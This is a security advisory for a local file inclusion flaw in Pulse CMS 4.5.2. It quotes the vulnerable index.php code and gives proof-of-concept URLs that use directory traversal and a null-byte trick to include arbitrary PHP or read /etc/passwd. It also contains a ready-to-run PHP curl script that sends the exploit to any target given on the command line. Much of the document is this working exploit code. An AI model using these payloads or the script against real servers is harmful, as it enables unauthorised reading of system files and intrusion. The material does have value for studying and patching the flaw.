Pulse CMS 4.5.2 Local File Inclusion

`Document Title:  
===============  
Pulse CMS 4.5.2 - Local File Inclusion  
  
  
References (Source):  
====================  
http://ehsansec.ir/advisories/plusecms452-lfi.txt  
  
  
Release Date:  
=============  
2016-02-28  
  
  
Product & Service Introduction:  
===============================  
Pulse CMS is the easiest way to build and deploy a responsive, content  
managed website. Since it's a flat file CMS there is no complicated  
database setup, just copy it to your server and  
go.(https://www.pulsecms.com/)  
  
  
Software Link:  
==============  
http://www.pulsecms.com/download/pulse.zip  
  
  
Vulnerability Type:  
=========================  
Local File Inclusion  
  
  
Vulnerability Details:  
==============================  
I discovered a local file inclusion vulnerability in Pulse CMS 4.5.2.  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
High  
  
Vulnerable File & Code:  
=======================  
index.php  
9 $page = (isset($_GET['p']) && !empty($_GET['p'])) ? $_GET['p'] : 'home';  
10 $page = htmlspecialchars($page, ENT_QUOTES, 'UTF-8');  
11  
12 if (preg_match("/\//", $page)){  
13 if(file_exists("content/pages/".$page."home.txt")){  
14 $page = $page."home";  
15 }  
16 }  
27 include("content/pages/$page.txt");  
  
Proof of Concept (PoC):  
=======================  
-- Local File Inclusion --  
http://localhost/pluse/index.php?p=../../../../YourPHP.php  
  
-- For include other type files use null byte nullbyte --  
http://localhost/pluse/index.php?p=../../../../etc/passwd%00.php  
  
PHP Exploit  
<?php  
# index.php  
  
$target = $argv[1];  
$file = $argv[2];  
  
// page : index.php  
echo "Pulse CMS 4.5.2 - Local File Inclusion\n";  
echo "Author : Ehsan Hosseini\n\n\n";  
$ch = curl_init();  
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);  
curl_setopt($ch, CURLOPT_URL, $target.'index.php?p='.$file."%00.php");  
curl_setopt($ch, CURLOPT_HTTPGET, 1);  
curl_setopt($ch, CURLOPT_TIMEOUT, 3);  
curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 3);  
curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 3);  
$ex = curl_exec ($ch);  
curl_close($ch);  
unset($ch);  
  
echo $ex;  
?>  
  
Author:  
==================  
Ashiyane Digital Security Team  
Ehsan Hosseini  
http://ehsansec.ir/  
  
  
SPX tnx to:  
===========  
Bl4ck_mohajem  
  
  
Contact:  
========  
[email protected]  
[email protected]  
`